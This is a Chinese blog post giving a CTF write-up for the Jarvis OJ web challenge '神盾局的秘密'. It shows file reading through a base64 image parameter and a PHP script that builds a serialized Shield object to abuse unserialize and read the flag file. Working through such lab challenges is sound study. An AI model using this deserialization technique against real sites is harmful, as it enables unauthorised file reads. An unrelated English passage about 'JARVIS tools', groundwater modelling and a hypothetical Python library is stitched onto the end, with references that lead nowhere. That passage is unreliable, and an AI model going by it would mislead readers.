Jarvis-神盾局的秘密

本文详细解析了神盾局CTF挑战的过程,通过分析网页源代码、利用序列化漏洞,成功获取flag。介绍了从图片编码分析到利用序列化函数进行攻击的全过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

神盾局的秘密

时间:2018年10月5日 汇报人:王祎洁

题目

http://web.jarvisoj.com:32768/
在这里插入图片描述

题解

打开网页,发现一张图片,查看页面源代码,发现图片是从showing.php中读取的,且img=base64编码
在这里插入图片描述

并将其读入
在这里插入图片描述

发现是图片编码

尝试读取已知showing.php文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

尝试读取index.php文件
在这里插入图片描述
在这里插入图片描述

查看页面源代码后,发现shield.php文件
在这里插入图片描述

读取shield.php文件,发现flag is in pctf.php
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

尝试读取pctf.php文件,发现不存在
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

重新审计index.php文件的页面源代码,与shield.php页面源代码
在这里插入图片描述

发现参数输入class以及反序列化函数,以及过滤

根据shield.php源代码,编写序列化脚本

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
	$x = new Shield('pctf.php');
	echo serialize($x);
?>

发在本地运行,得到class参数的赋值
在这里插入图片描述

地址栏输入后,查看页面源代码,发现flag
在这里插入图片描述

  • PS:用本地跑pctf.php(序列化脚本),我用的是phpstudy,将写好的脚本放到phpstudy的www文件下,之后本地访问:127.0.0.1/pctf.php即可
  • 另外,hackbar是个好东西?
  • 关于序列化函数:serialize( )
    https://www.w3cschool.cn/php/php-serialize_info.html
### JARVIS Tools in IT Software Development JARVIS tools are not explicitly mentioned within the provided references; however, based on general knowledge and context from similar domains, JARVIS (Just Another Rather Very Intelligent System) often refers to a framework or set of utilities designed for automation, artificial intelligence, and machine learning applications. In the realm of **IT software development**, these tools can be leveraged for tasks such as natural language processing, automated testing, intelligent agents, and data-driven decision-making processes. In relation to communicative agents discussed by Qian et al.[^1], JARVIS-like systems could serve as advanced conversational interfaces that facilitate communication between developers, stakeholders, and even end-users during the software lifecycle. These systems may incorporate features like real-time feedback mechanisms, predictive analytics, and adaptive workflows tailored to specific project requirements. For groundwater modeling contexts referenced by Harbaugh & McDonald[^2] and MODFLOW SURFACT digitization[^3], while there isn't direct overlap with JARVIS per se, analogous frameworks might assist in automating complex simulations through AI-powered optimizations. For instance: - Automating parameter tuning. - Enhancing visualization capabilities via interactive dashboards. Below is an illustrative Python snippet demonstrating how one might integrate basic Jarvis-style functionality into a simple application: ```python import jarvis_library # Hypothetical library representing core functionalities def initialize_jarvis(): config = { 'language': 'en', 'modules': ['nlp', 'ml'] } agent = jarvis_library.Agent(config=config) return agent if __name__ == "__main__": assistant = initialize_jarvis() response = assistant.process_input("What's the best approach for optimizing groundwater models?") print(response) ``` This hypothetical example showcases initializing a JARVIS-type system configured for Natural Language Processing (NLP) and Machine Learning (ML), which then provides actionable insights regarding optimization strategies applicable across various fields including hydrological studies.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值